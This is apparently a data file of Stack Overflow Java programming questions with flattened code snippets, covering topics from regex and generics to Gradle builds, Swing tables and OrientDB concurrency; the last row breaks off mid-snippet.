+Java,"I am unable to understand how the below code print 50.0It should print 50 ( I guess ) not 50.0 Is n't the above code is equivalent to below code ? , If they are equivalent , then why the difference in output ?",public class Pre { public static void main ( String [ ] args ) { int x=10 ; System.out.println ( ( x > 10 ) ? 50.0 : 50 ) ; //output 50.0 } } public class Pre { public static void main ( String [ ] args ) { int x=10 ; if ( x > 10 ) System.out.println ( 50.0 ) ; else System.out.println ( 50 ) ; //output } },Conditional if-else statement in java +Java,"I would like to convert a Map < String , Map < String , Integer > > to a Map < String , Integer > using Streams . Here 's the catch ( and why I ca n't seem to figure it out ) : I would like to group my Integer-Values by the Key-Values of the corresponding Maps . So , to clarify : I have Entries like those : I want to convert that structure to the following : I think that with the Collectors class and methods like summingInt and groupingBy you should be able to accomplish this . I ca n't seem to figure out the correct way to go about this , though . It should be noted that all the inner Maps are guaranteed to always have the same keys , either with Integer-value 0 or sth > 0 . ( e.g . `` A '' and `` B '' will both always have the same 5 keys as one another ) Everything I 've tried so far pretty much ended nowhere . I am aware that , if there was n't the summation-part I could go with sth like this : But how to add the summation part ?","Entry 1 : [ `` A '' , [ `` a '' ,1 ] ] Entry 2 : [ `` B '' , [ `` a '' ,2 ] ] Entry 3 : [ `` B '' , [ `` b '' ,5 ] ] Entry 4 : [ `` A '' , [ `` b '' ,0 ] ] Entry 1 : [ `` a '' ,3 ] Entry 2 : [ `` b '' ,5 ] Map < String , Integer > map2= new HashMap < String , Integer > ( ) ; map1.values ( ) .stream ( ) .forEach ( map - > { map2.putAll ( map.entrySet ( ) .stream ( ) .collect ( Collectors.toMap ( entry - > entry.getKey ( ) , entry - > entry.getValue ( ) ) ) ) ; } ) ;","Converting a Map < String , Map < String , Integer > > to Map < String , Integer > using streams" +Java,"I have the following Java SE code , which runs on PCI 'm getting expected resultHowever , when comes to Android.I 'm gettingAny suggestion and workaround , how I can make this code behaves same as it is at Java SE ? Additional Note : Other patterns yield the same result as well . It seems that , Android is using null string for unmatched group , and Java SE is using empty string for unmatched group.Take the following code.Java SEAndroid","public static void main ( String [ ] args ) { // stringCommaPattern will change // `` , '' abc , def '' , '' // to // `` , '' abcdef '' , '' Pattern stringCommaPattern = Pattern.compile ( `` ( \ '' , \ '' ) | , ( ? = [ ^\ '' [ , ] ] *\ '' , \ '' ) '' ) ; String data = `` \ '' SAN\ '' , \ '' Banco Santander , \ '' , \ '' NYSE\ '' '' ; System.out.println ( data ) ; final String result = stringCommaPattern.matcher ( data ) .replaceAll ( `` $ 1 '' ) ; System.out.println ( result ) ; } `` SAN '' , '' Banco Santander , `` , '' NYSE '' '' SAN '' , '' Banco Santander `` , '' NYSE '' Pattern stringCommaPattern = Pattern.compile ( `` ( \ '' , \ '' ) | , ( ? = [ ^\ '' [ , ] ] *\ '' , \ '' ) '' ) ; String data = `` \ '' SAN\ '' , \ '' Banco Santander , \ '' , \ '' NYSE\ '' '' ; Log.i ( `` CHEOK '' , data ) ; final String result = stringCommaPattern.matcher ( data ) .replaceAll ( `` $ 1 '' ) ; Log.i ( `` CHEOK '' , result ) ; `` SAN '' , '' Banco Santander , `` , '' NYSE '' '' SAN '' , '' Banco Santandernull `` , '' NYSE '' public static void main ( String [ ] args ) { // Used to remove the comma within an integer digit . The digit must be located // in between two string . Replaced with $ 1 . // // digitPattern will change // `` ,100,000 , '' // to // `` ,100000 , '' final Pattern digitPattern = Pattern.compile ( `` ( \ '' , ) | , ( ? = [ \\d , ] + , \ '' ) '' ) ; String data = `` \ '' ,100,000,000 , \ '' '' ; System.out.println ( data ) ; final String result = digitPattern.matcher ( data ) .replaceAll ( `` $ 1 '' ) ; System.out.println ( result ) ; } `` ,100,000,000 , '' '' ,100000000 , '' `` ,100,000,000 , '' '' ,100null000null000 , ''",Different regular expression result in Java SE and Android platform +Java,"I 'm aware there 've been similar questions . I have n't seen an answer to my question though.I 'll present what I want with some simplified code . Say I have a complex object , some of its values are generic : I 'd like to construct it with fluent Builder syntax . I 'd like to make it elegant though . I wish it worked like that : No unsafe cast warnings , and no need to specify generic types upfront ( at the top , where Builder is constructed ) . Instead , we let the type info to flow in explicitly , further down the chain - along with withList and withTyped calls.Now , what would be the most elegant way to achieve it ? I 'm aware of the most common tricks , such as the use of recursive generics , but I toyed with it for a while and could n't figure out how it applies to this use case.Below is a mundane verbose solution which works in the sense of satisfying all requirements , but at the cost of great verbosity - it introduces four builders ( unrelated in terms of inheritance ) , representing four possible combinations of T and S types being defined or not . It does work , but that 's hardly a version to be proud of , and unmaintainable if we expected more generic parameters than just two.Is there a more clever technique I could apply ?","public static class SomeObject < T , S > { public int number ; public T singleGeneric ; public List < S > listGeneric ; public SomeObject ( int number , T singleGeneric , List < S > listGeneric ) { this.number = number ; this.singleGeneric = singleGeneric ; this.listGeneric = listGeneric ; } } SomeObject < String , Integer > works = new Builder ( ) // not generic yet ! .withNumber ( 4 ) // and only here we get `` lifted '' ; // since now it 's set on the Integer type for the list .withList ( new ArrayList < Integer > ( ) ) // and the decision to go with String type for the single value // is made here : .withTyped ( `` something '' ) // we 've gathered all the type info along the way .create ( ) ; public static class Builder { private int number ; public Builder withNumber ( int number ) { this.number = number ; return this ; } public < T > TypedBuilder < T > withTyped ( T t ) { return new TypedBuilder < T > ( ) .withNumber ( this.number ) .withTyped ( t ) ; } public < S > TypedListBuilder < S > withList ( List < S > list ) { return new TypedListBuilder < S > ( ) .withNumber ( number ) .withList ( list ) ; } } public static class TypedListBuilder < S > { private int number ; private List < S > list ; public TypedListBuilder < S > withList ( List < S > list ) { this.list = list ; return this ; } public < T > TypedBothBuilder < T , S > withTyped ( T t ) { return new TypedBothBuilder < T , S > ( ) .withList ( list ) .withNumber ( number ) .withTyped ( t ) ; } public TypedListBuilder < S > withNumber ( int number ) { this.number = number ; return this ; } } public static class TypedBothBuilder < T , S > { private int number ; private List < S > list ; private T typed ; public TypedBothBuilder < T , S > withList ( List < S > list ) { this.list = list ; return this ; } public TypedBothBuilder < T , S > withTyped ( T t ) { this.typed = t ; return this ; } public TypedBothBuilder < T , S > withNumber ( int number ) { this.number = number ; return this ; } public SomeObject < T , S > create ( ) { return new SomeObject < > ( number , typed , list ) ; } } public static class TypedBuilder < T > { private int number ; private T typed ; private Builder builder = new Builder ( ) ; public TypedBuilder < T > withNumber ( int value ) { this.number = value ; return this ; } public TypedBuilder < T > withTyped ( T t ) { typed = t ; return this ; } public < S > TypedBothBuilder < T , S > withList ( List < S > list ) { return new TypedBothBuilder < T , S > ( ) .withNumber ( number ) .withTyped ( typed ) .withList ( list ) ; } }",Generic fluent Builder in Java +Java,"We have an Axis2 client reading from a SOAP web service ; an issue occurred when new client stub classes were generated using WSDL2JAVA and their packages were renamed . The generation tool itself is n't causing the issue , but WSDL2JAVA is n't renaming packages for all classes , so i 'm having to do this myself.Any idea about the best way to rename packages for these classes , without having issues ? Such as doing a String replacement in a smart way ? The web service throws business exceptions in some cases , and they are caught directly by the calling code , however this is not happening anymore and instead of SPECIALException , the client now catches AxisFault.You can see the XML response below : Checking this in more detail , the difference are probably due to method populateFaults in the generated BlaServiceStub class , where class names are set as Strings for later use through reflection .","< ? xml version= ' 1.0 ' encoding='utf-8 ' ? > < soapenv : Envelope xmlns : soapenv= '' http : //schemas.xmlsoap.org/soap/envelope/ '' > < soapenv : Body > < soapenv : Fault > < faultcode > soapenv : Server < /faultcode > < faultstring > Exception message , due to business error. < /faultstring > < detail > < ns2 : SPECIALException xmlns : ns2= '' http : //com.bla.com/common/exception/xsd/2008/08 '' > < ns2 : code > 7 < /ns2 : code > < ns2 : message > Exception message , due to business error. < /ns2 : message > < /ns2 : SPECIALException > < /detail > < /soapenv : Fault > < /soapenv : Body > < /soapenv : Envelope >",Custom service exceptions are being thrown as AxisFault +Java,"I ’ m getting a very unusual , ClassNotFoundException at app startup for my class com.xyz.sample.QuickSampleApplication when using `` provided project '' in gradle dependencies script OR another error Uncaught translation error : java.lang.IllegalArgumentException : already added : when using `` compile project '' in gradle dependencies . Actual Error : Project Explanation : The com.xyz.sample.QuickSampleApplication is used by com.xyz.sample.QuickSampleActivity , and both classes are in the same package com.xyz.sample.The com.xyz.sample.QuickSampleApplication uses a JAR called ‘ quicksdklibrary ’ , that I included as a `` provided dependency '' in gradle , see gradle snippet below : The JAR actually resolves in the IDE , builds without error , and the JAR ’ s internal classes are visible to my app classes such as my : com.xyz.sample.QuickSampleApplication OR com.xyz.sample.QuickSampleActivity . Both com.xyz.sample.QuickSampleApplicationAnd com.xyz.sample.QuickSampleActivity are declared/spelled correctly in the AndroidManifest.xml : When I opened the actual generated .apk file I found that my com.xyz ... classes were not being packaged in the .apk , why ? ? ? I tried including the source explicitly in the dependencies tag by : ORORORORBased on comments also tried using sourceSets tags : OR using sourceSets tag : ORHowever the generated `` .apk '' still does not contain the class packages com.xyz ... Latest update on the problem , please see below : Alternative attempt # 1 : When I use this tag in my gradle Then I get ClassNotFoundException ( inspecting the apk & class classes.dex confirms my quicksdklibrary classes are not being included ) , however when I use : Then i get this other error , which wont even allow me to deploy/install the apk : :app : preDexDebug**Alternative attempts : **I really checked the entire project and also recreated the project several times in order to make sure that I was not including this JAR several times , however I 'm still getting the same error `` Uncaught translation error : java.lang.IllegalArgumentException : already added ... '' I also reinstalled Android SDK , and also update my JDK to jdk1.7.0_80 , however Im still getting this error . I look at other posts on stackoverflow mentioning that I should remove the reference to support library version 4 or 7 , which I have also tried.Other attempts : I also check the actual JAR to see if multiple classes with same name in the same package were created , which are not . I also tried adding obfuscated version , which will have different class names , but the obfuscated version of the JAR had the `` Uncaught translation error : java.lang.IllegalArgumentException : already added : .. '' error ! ! ! Question : How do I resolve this `` Uncaught translation error : java.lang.IllegalArgumentException : already added : '' , why does app : preDexDebug think there is multiple version of my classes or tries to add multiple versions ? ? ? Thanks a million to all !","E/AndroidRuntime ( 17749 ) : java.lang.RuntimeException : Unable to instantiate application com.xyz.sample.QuickSampleApplication : java.lang.ClassNotFoundException : Did n't find class `` com.xyz.sample.QuickSampleApplication '' on path : DexPathList [ [ zip file '' /data/app/com.uei.sample.library-2.apk '' ] , nativeLibraryDirectories= [ /data/app-lib/com.uei.sample.library-2 , /vendor/lib , /system/lib ] ] dependencies { provided project ( ' : quicksdklibrary ' ) //OR provided fileTree ( dir : 'libs/MyExternalLibs ' , include : '*.jar ' ) compile 'com.android.support : appcompat-v7:21.0.0 ' } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < manifest xmlns : android= '' http : //schemas.android.com/apk/res/android '' package= '' com.xyz.sample.library '' android : versionCode= '' 1 '' android : versionName= '' 1.0.002 '' > < uses-sdk android : minSdkVersion= '' 19 '' / > < uses-permission android : name= '' android.permission.INTERNET '' / > < uses-permission android : name= '' android.permission.ACCESS_WIFI_STATE '' / > < uses-permission android : name= '' android.permission.ACCESS_NETWORK_STATE '' / > < uses-permission android : name= '' android.permission.WRITE_EXTERNAL_STORAGE '' / > < uses-permission android : name= '' android.permission.READ_PHONE_STATE '' / > < application android : icon= '' @ drawable/icon '' android : label= '' @ string/app_name '' android : name= '' com.xyz.sample.QuickSampleApplication '' > < activity android : name= '' com.xyz.sample.QuickSampleActivity '' android : screenOrientation= '' portrait '' android : label= '' @ string/app_name '' android : launchMode= '' singleTask '' > < intent-filter > < action android : name= '' android.intent.action.MAIN '' / > < category android : name= '' android.intent.category.LAUNCHER '' / > < /intent-filter > < /activity > < /application > < /manifest > compile fileTree ( dir : 'src/main/java ' , include : [ '* ' ] ) compile fileTree ( dir : 'src/main/java/com/xyz ' , include : [ '* ' ] ) compile fileTree ( dir : 'src/main/java/com/xyz ' , include : [ '*.java ' ] ) compile fileTree ( dir : 'src/main/java ' , include : [ '*.java ' ] ) compile file ( libs/quicksdklibrary.jar ) sourceSets { main { java { java.srcDirs 'src/main/java ' } } } sourceSets { main { java { java.srcDirs 'src/main/java/com/xyz ' } } } dependencies { compile 'com.android.support : appcompat-v7:23.0.1 ' provided project ( ' : quicksdklibrary ' ) } dependencies { compile fileTree ( dir : 'libs ' , include : [ '*.jar ' ] ) // OR compile files ( libs/ : quicksdklibrary.jar ) // OR compile project ( ' : quicksdklibrary ' ) compile 'com.android.support : appcompat-v7:23.0.1 ' } Uncaught translation error : java.lang.IllegalArgumentException : already added : Lcom/xyz/ace/ACEUtils $ Creator ; Uncaught translation error : java.lang.IllegalArgumentException : already added : Lcom/xyz/ace/AEUtils ; Uncaught translation error : java.lang.IllegalArgumentException : already added : Lcom/xyz/ace/AEngine ; Uncaught translation error : java.lang.IllegalArgumentException : already added : Lcom/xyz/ace/ATag ; Uncaught translation error : java.lang.IllegalArgumentException : already added : Lcom/xyz/ace/ABehavior ; Uncaught translation error : java.lang.IllegalArgumentException : already added : Lcom/xyz/ace/AContext ; Uncaught translation error : java.lang.IllegalArgumentException : already added : Lcom/xyz/ace/AControl $ List ; Uncaught translation error : java.lang.IllegalArgumentException : already added : Lcom/xyz/ace/AControl ; Uncaught translation error : java.lang.IllegalArgumentException : already added : Lcom/xyz/ace/AData ; UNEXPECTED TOP-LEVEL EXCEPTION : Error : Execution failed for task ' : app : preDexDebug'.com.android.ide.common.process.ProcessException : org.gradle.process.internal.ExecException : Process 'command ' C : \Program Files\Java\jdk1.7.0_79\bin\java.exe '' finished with non-zero exit value 2","Android , ClassNotFoundException when using `` provided project `` OR IllegalArgumentException : already added , when using `` compile project ''" +Java,"This probably sounds like a nightmare , but I 'd really like to get this working . I am using this example for the most part : Calling C from Haskell and am trying to get this working on ubuntu.I am running this in java : this in c after creating the .h file with javah : ( test_JniTest.c ) and then for reference in haskell ( before stub ) : ( Safe.hs ) and this is what i 'm trying to compile it with : ghc -c -O Safe.hsfollowed by : ghc -shared -o libTest.jnilib -optc-O test_JniTest.c -I/usr/lib/jvm/java-6-sun-1.6.0.26/include -I/usr/lib/jvm/java-6-sun-1.6.0.26/include/linuxand I am getting this error : /usr/bin/ld : test_JniTest.o : relocation R_X86_64_PC32 against undefined symbol ` fibonacci_hs ' can not be used when making a shared object ; recompile with -fPIC /usr/bin/ld : final link failed : Bad value collect2 : ld returned 1 exit statusI am not a c expert by any means and have no idea what to do about this . I tried compiling various ways with -fPIC , but I kept on getting the same error . Any idea what I might be doing wrong ? Thanks !","package test ; public class JniTest { public native int fib ( int x ) ; } # include `` test_JniTest.h '' # include `` Safe_stub.h '' JNIEXPORT jint JNICALL Java_test_JniTest_fib ( JNIEnv * e , jobject o , jint f ) { return fibonacci_hs ( f ) ; } module Safe whereimport Foreign.C.Typesfibonacci : : Int - > Intfibonacci n = fibs ! ! n where fibs = 0 : 1 : zipWith ( + ) fibs ( tail fibs ) fibonacci_hs : : CInt - > CIntfibonacci_hs = fromIntegral . fibonacci . fromIntegralforeign export ccall fibonacci_hs : : CInt - > CInt",Calling Haskell from Java with C in between +Java,"When logging stack traces for unhandled exceptions in Java or Android ( e.g . via ACRA ) , you usually get the stack trace as a plain long string.Now all services that offer crash reporting and analysis ( e.g . Google Play Developer Console , Crashlytics ) group those stack traces into unique buckets . This is obviously helpful -- otherwise , you could have tens of thousands of crash reports in your list , but only a dozen of them may be unique.Example : The stack trace above may appear in multiple variants , e.g . the platform classes like AsyncTask may appear with varying line numbers due to different platform versions.What 's the best technique to get a unique identifier for every crash report ? What 's clear is that with every new application version that you publish , crash reports should be handled separatedly , because the compiled source is different . In ACRA , you can consider using the field APP_VERSION_CODE.But otherwise , how do you identify reports with unique causes ? By taking the first line and searching for the first occurrence of a custom ( non-platform ) class and looking up the file and line number ?",java.lang.RuntimeException : An error occured while executing doInBackground ( ) at android.os.AsyncTask $ 3.done ( AsyncTask.java:200 ) at java.util.concurrent.FutureTask $ Sync.innerSetException ( FutureTask.java:274 ) at java.util.concurrent.FutureTask.setException ( FutureTask.java:125 ) at java.util.concurrent.FutureTask $ Sync.innerRun ( FutureTask.java:308 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:138 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1088 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:581 ) at java.lang.Thread.run ( Thread.java:1027 ) Caused by : java.lang.ArrayIndexOutOfBoundsExceptionat com.my.package.MyClass.i ( SourceFile:1059 ) ...,Group Java/Android stack traces into unique buckets +Java,"I posted an answer to Java TableModelListener and Live Feed Listener ? , but I get a comment by – kleopatra can somone to explain me what 's Change the notifier in receiving a Change Event , what could be happen , what she really means , because as I tried everything that I know that I only receiving RepaintManager Exceptions from very quickly loop , I never get another Exception , where I multiplaeyd that to the 50 x 1000 matrix , with prepareRenderer ( change Color for possitive/negative value ) with refresh rate 175 miliseconds code demonstrated changing the notifier and two another ( maybe correct ) way how do that","nonono - you never change the notifier in receiving a change event . As to probable effects , think : nasty loops . As to code sanity , think : indecent intimacy . It 's the task of the model itself to internally update related values if necessary . import java.awt . * ; import java.awt.event.ActionEvent ; import java.util.Random ; import java.util.concurrent . * ; import javax.swing . * ; import javax.swing.event . * ; import javax.swing.table.DefaultTableModel ; public class ChangeNotifiersOnEvent extends JFrame implements Runnable { private static final long serialVersionUID = 1L ; private boolean runProcess = true ; private Random random = new Random ( ) ; private javax.swing.Timer timerRun ; private Executor executor = Executors.newCachedThreadPool ( ) ; private String [ ] columnNames = { `` Source '' , `` Hit '' , `` Last '' , `` Ur_Diff '' } ; private JTable table ; private Object [ ] [ ] data = { { `` Swing Timer '' , 2.99 , 5 , 1.01 } , { `` Swing Worker '' , 7.10 , 5 , 1.010 } , { `` TableModelListener '' , 25.05 , 5 , 1.01 } } ; private DefaultTableModel model = new DefaultTableModel ( data , columnNames ) ; public ChangeNotifiersOnEvent ( ) { table = new JTable ( model ) { private static final long serialVersionUID = 1L ; @ Override public Class getColumnClass ( int column ) { return getValueAt ( 0 , column ) .getClass ( ) ; } } ; model.addTableModelListener ( new TableModelListener ( ) { @ Override public void tableChanged ( TableModelEvent tme ) { if ( tme.getType ( ) == TableModelEvent.UPDATE ) { if ( tme.getColumn ( ) == 1 & & tme.getLastRow ( ) == 2 ) { double dbl = ( ( Double ) table.getModel ( ) .getValueAt ( 2 , 1 ) ) - ( ( Integer ) table.getModel ( ) .getValueAt ( 2 , 2 ) ) ; table.getModel ( ) .setValueAt ( dbl , 2 , 3 ) ; } else if ( tme.getColumn ( ) == 1 & & tme.getLastRow ( ) == 0 ) { prepareUpdateTableCell ( ) ; } else if ( tme.getColumn ( ) == 1 & & tme.getLastRow ( ) == 1 ) { executor.execute ( new MyTask ( MyTask.UPDATE_TABLE_COLUMN ) ) ; } } } } ) ; table.setRowHeight ( 30 ) ; table.setFont ( new Font ( `` Serif '' , Font.BOLD , 20 ) ) ; table.getColumnModel ( ) .getColumn ( 0 ) .setPreferredWidth ( 180 ) ; table.setPreferredScrollableViewportSize ( table.getPreferredSize ( ) ) ; JScrollPane scrollPane = new JScrollPane ( table ) ; add ( scrollPane , BorderLayout.CENTER ) ; new Thread ( this ) .start ( ) ; } private void prepareUpdateTableCell ( ) { timerRun = new javax.swing.Timer ( 10 , UpdateTableCell ( ) ) ; timerRun.setRepeats ( false ) ; timerRun.start ( ) ; } private Action UpdateTableCell ( ) { return new AbstractAction ( `` Update Table Cell '' ) { private static final long serialVersionUID = 1L ; @ Override public void actionPerformed ( ActionEvent e ) { double dbl = ( ( Double ) table.getModel ( ) .getValueAt ( 0 , 1 ) ) - ( ( Integer ) table.getModel ( ) .getValueAt ( 0 , 2 ) ) ; table.getModel ( ) .setValueAt ( dbl , 0 , 3 ) ; } } ; } @ Override public void run ( ) { while ( runProcess ) { try { Thread.sleep ( 250 ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } changeTableValues ( ) ; } } private void changeTableValues ( ) { Runnable doRun = new Runnable ( ) { @ Override public void run ( ) { table.getModel ( ) .setValueAt ( random.nextInt ( 128 ) + random.nextDouble ( ) , 0 , 1 ) ; table.getModel ( ) .setValueAt ( random.nextInt ( 256 ) + random.nextDouble ( ) , 1 , 1 ) ; table.getModel ( ) .setValueAt ( random.nextInt ( 512 ) + random.nextDouble ( ) , 2 , 1 ) ; table.getModel ( ) .setValueAt ( random.nextInt ( 128 ) , 0 , 2 ) ; table.getModel ( ) .setValueAt ( random.nextInt ( 128 ) , 1 , 2 ) ; table.getModel ( ) .setValueAt ( random.nextInt ( 128 ) , 2 , 2 ) ; } } ; SwingUtilities.invokeLater ( doRun ) ; } private class MyTask extends SwingWorker < Void , Integer > { private static final String UPDATE_TABLE_COLUMN = `` update '' ; private String namePr ; private double dbl ; MyTask ( String str ) { this.namePr = str ; } @ Override protected Void doInBackground ( ) throws Exception { dbl = ( ( Double ) table.getModel ( ) .getValueAt ( 1 , 1 ) ) - ( ( Integer ) table.getModel ( ) .getValueAt ( 1 , 2 ) ) ; return null ; } @ Override protected void done ( ) { SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { table.getModel ( ) .setValueAt ( dbl , 1 , 3 ) ; } } ) ; } } public static void main ( String [ ] args ) { SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { ChangeNotifiersOnEvent frame = new ChangeNotifiersOnEvent ( ) ; frame.setDefaultCloseOperation ( EXIT_ON_CLOSE ) ; frame.setLocation ( 150 , 150 ) ; frame.pack ( ) ; frame.setVisible ( true ) ; } } ) ; } }",Why never change the notifier in receiving a change event +Java,"Update : Below problem is remained until Android Studio 3.4.2.I use Android Studio 3.3 and created a scratch file ( File > new > Scratch File > Java ) . The IDE created scratch.java in ~/.AndroidStudio3.3/config/scratches : But when I run that scratch file ( by pressing green button near to the class name or main method ) , I get this error : I think that IDE does not make Scratch.class and so Java can not find it . Is there a way for solving this problem and running scratch files from IDE ( without using Terminal ) ?",class Scratch { public static void main ( String [ ] args ) { } } Error : Could not find or load main class Scratch,Android Studio could not find or load main class of `` Scratch '' file +Java,"Considering the java code below : I am reading a book which tells me that Inner.method ( ) will hide both versions of Enclosing.method ( ) , which means it is an error if I call method ( aString ) somewhere in class Inner.Why is the language designed like that ? Update : According to the answer given by @ Debosmit Ray , it is related to shadowing . I have read the docs and understood what it is . What still confusing me is why method shadowing is based on method name not method signature ?",class Enclosing { void method ( ) { } void method ( String str ) { } class Inner { void method ( ) { } } },Why does an inner class method hide all the enclosing class methods with the same name ? +Java,"I have this string : How can I get lastStop property value in JAVA ? This regex worked when tested on http : //www.myregexp.com/But when I try it in java I do n't see the matched text , here is how I tried : Maybe the problem is that I use escape char in my test , but real string does n't have escape inside . ? UPDATEDoes anyone know why this does n't work when used in java ? or how to make it work ?",< meis xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' uri= '' localhost/naro-nei '' onded= '' flpSW531213 '' identi= '' lemenia '' id= '' 75 '' lastStop= '' bendi '' xsi : noNamespaceSchemaLocation= '' http : //localhost/xsd/postat.xsd xsd/postat.xsd '' > import java.util.regex.Pattern ; import java.util.regex.Matcher ; public class SimpleRegexTest { public static void main ( String [ ] args ) { String sampleText = `` < meis xmlns : xsi=\ '' http : //www.w3.org/2001/XMLSchema-instance\ '' uri=\ '' localhost/naro-nei\ '' onded=\ '' flpSW531213\ '' identi=\ '' lemenia\ '' id=\ '' 75\ '' lastStop=\ '' bendi\ '' xsi : noNamespaceSchemaLocation=\ '' http : //localhost/xsd/postat.xsd xsd/postat.xsd\ '' > '' ; String sampleRegex = `` ( ? < =lastStop= [ \ '' ' ] ? ) [ ^\ '' ' ] * '' ; Pattern p = Pattern.compile ( sampleRegex ) ; Matcher m = p.matcher ( sampleText ) ; if ( m.find ( ) ) { String matchedText = m.group ( ) ; System.out.println ( `` matched [ `` + matchedText + `` ] '' ) ; } else { System.out.println ( `` didn ’ t match '' ) ; } } },how to read string part in java +Java,Can anyone tell me why the following code fails to compile but the lambda version does : Are there rules about the generic type inference ? Anything I should avoid ? Failed : Success ( with normal lambda ) : Success ( with generic parameters specified ) : Referenced Methods :,"EntityLayerManager.refreshLayerRenderables ( wwd , this.networkNodeShapeLayer , nodeMap.values ( ) , MissionDetailUIConst : :createNetworkNodeRenderable , MissionDetailUIConst : :updateNetworkNodeRenderable ) // < < == FAILED EntityLayerManager.refreshLayerRenderables ( wwd , this.networkNodeShapeLayer , nodeMap.values ( ) , MissionDetailUIConst : :createNetworkNodeRenderable , ( e , coll ) - > MissionDetailUIConst.updateNetworkNodeRenderable ( e , coll ) ) ; EntityLayerManager. < EwmsVwNetworkNodeEntity , KolladaRoot > refreshLayerRenderables ( wwd , this.networkNodeShapeLayer , nodeMap.values ( ) , MissionDetailUIConst : :createNetworkNodeRenderable , MissionDetailUIConst : :updateNetworkNodeRenderable ) public static < E , R extends Renderable > int refreshLayerRenderables ( WorldWindow wwd , RenderableLayer renderableLayer , Collection < E > entityList , Function < E , ? extends Collection < ? extends R > > createRenderables , BiPredicate < E , Collection < R > > updateRenderables ) ; public static Collection < KolladaRoot > createNetworkNodeRenderable ( EwmsVwNetworkNodeEntity networkNode ) ; public static boolean updateNetworkNodeRenderable ( EwmsVwNetworkNodeEntity networkNode , Collection < KolladaRoot > colladaRootCollection ) ;",Java 8 : generic type inference fails on method reference ? +Java,Given that What is the difference between ... thisand this,"JTextArea t = new JTextArea ( ) ; Document d = t.getDocument ( ) ; String word1 = `` someWord '' ; String word2 = `` otherWord '' int pos = t.getText ( ) .indexOf ( word1 , i ) ; if ( pos ! = -1 ) { t.replaceRange ( word2.toUpperCase ( ) , pos , pos+ word1.length ( ) ) ; } if ( pos ! = -1 ) { d.remove ( pos , word1.length ( ) ) ; d.insertString ( pos , word2.toUpperCase ( ) , null ) ; }",With or without the javax.swing.text.Document +Java,I 'm trying to use orientdb ( v2.1.2 ) in an multithreaded environment ( Java 8 ) where i update a vertex from within multiple threads . I 'm aware that orientdb is using MVCC and thus those operations may fail and have to be executed again.I wrote a small unit test that tries to provoke such situations by waiting on a cyclic barrier within the threads i fork . Unfortunately the test fails with an obscure Exception which i do n't understand : The test is using a simple in-memory database . I do n't get why orientdb is checking some cluster actions : Cluster with id 11 already belongs to class testedgeSomehow this issue only appears when i try to create two edges with the same label.In general i would be very thankful for a example that demonstrates how to deal with MVCC conflicts when using orientdb in an embedded multithreaded java environment.Update : I noticed that the problem no longer occures when i reload the vertex within my thread via tx.getVertex ( vertex.getId ( ) ) ( not via .reload ( ) ) . I get various errors when i just pass the vertex object reference to my thread and use it there . I assume the OrientVertex class is not threadsafe .,"Sep 21 , 2015 3:00:24 PM com.orientechnologies.common.log.OLogManager logINFO : OrientDB auto-config DISKCACHE=10,427MB ( heap=3,566MB os=16,042MB disk=31,720MB ) Thread [ 0 ] running Thread [ 1 ] running Sep 21 , 2015 3:00:24 PM com.orientechnologies.common.log.OLogManager logWARNING : { db=tinkerpop } Requested command 'create edge type 'testedge_1442840424480 ' as subclass of ' E '' must be executed outside active transaction : the transaction will be committed and reopen right after it . To avoid this behavior execute it outside a transactionSep 21 , 2015 3:00:24 PM com.orientechnologies.common.log.OLogManager logWARNING : { db=tinkerpop } Requested command 'create edge type 'testedge_1442840424480 ' as subclass of ' E '' must be executed outside active transaction : the transaction will be committed and reopen right after it . To avoid this behavior execute it outside a transactionException in thread `` Thread-4 '' com.orientechnologies.orient.core.exception.OSchemaException : Cluster with id 11 already belongs to class testedge_1442840424480 at com.orientechnologies.orient.core.metadata.schema.OSchemaShared.checkClustersAreAbsent ( OSchemaShared.java:1264 ) at com.orientechnologies.orient.core.metadata.schema.OSchemaShared.doCreateClass ( OSchemaShared.java:983 ) at com.orientechnologies.orient.core.metadata.schema.OSchemaShared.createClass ( OSchemaShared.java:415 ) at com.orientechnologies.orient.core.metadata.schema.OSchemaShared.createClass ( OSchemaShared.java:400 ) at com.orientechnologies.orient.core.metadata.schema.OSchemaProxy.createClass ( OSchemaProxy.java:100 ) at com.tinkerpop.blueprints.impls.orient.OrientBaseGraph $ 6.call ( OrientBaseGraph.java:1387 ) at com.tinkerpop.blueprints.impls.orient.OrientBaseGraph $ 6.call ( OrientBaseGraph.java:1384 ) at com.tinkerpop.blueprints.impls.orient.OrientBaseGraph.executeOutsideTx ( OrientBaseGraph.java:1739 ) at com.tinkerpop.blueprints.impls.orient.OrientBaseGraph.createEdgeType ( OrientBaseGraph.java:1384 ) at com.tinkerpop.blueprints.impls.orient.OrientBaseGraph.createEdgeType ( OrientBaseGraph.java:1368 ) at com.tinkerpop.blueprints.impls.orient.OrientBaseGraph.createEdgeType ( OrientBaseGraph.java:1353 ) at com.tinkerpop.blueprints.impls.orient.OrientVertex.addEdge ( OrientVertex.java:928 ) at com.tinkerpop.blueprints.impls.orient.OrientVertex.addEdge ( OrientVertex.java:832 ) at com.gentics.test.orientdb.OrientDBTinkerpopMultithreadingTest.lambda $ 0 ( OrientDBTinkerpopMultithreadingTest.java:31 ) at com.gentics.test.orientdb.OrientDBTinkerpopMultithreadingTest $ $ Lambda $ 1/1446001495.run ( Unknown Source ) at java.lang.Thread.run ( Thread.java:745 ) private OrientGraphFactory factory = new OrientGraphFactory ( `` memory : tinkerpop '' ) .setupPool ( 5 , 20 ) ; @ Testpublic void testConcurrentGraphModifications ( ) throws InterruptedException { OrientGraph graph = factory.getTx ( ) ; Vertex v = graph.addVertex ( null ) ; graph.commit ( ) ; CyclicBarrier barrier = new CyclicBarrier ( 2 ) ; List < Thread > threads = new ArrayList < > ( ) ; // Spawn two threads for ( int i = 0 ; i < 2 ; i++ ) { final int threadNo = i ; threads.add ( run ( ( ) - > { System.out.println ( `` Running thread [ `` + threadNo + `` ] '' ) ; // Start a new transaction and modify vertex v OrientGraph tx = factory.getTx ( ) ; Vertex v2 = tx.addVertex ( null ) ; v.addEdge ( `` testedge '' , v2 ) ; try { barrier.await ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } tx.commit ( 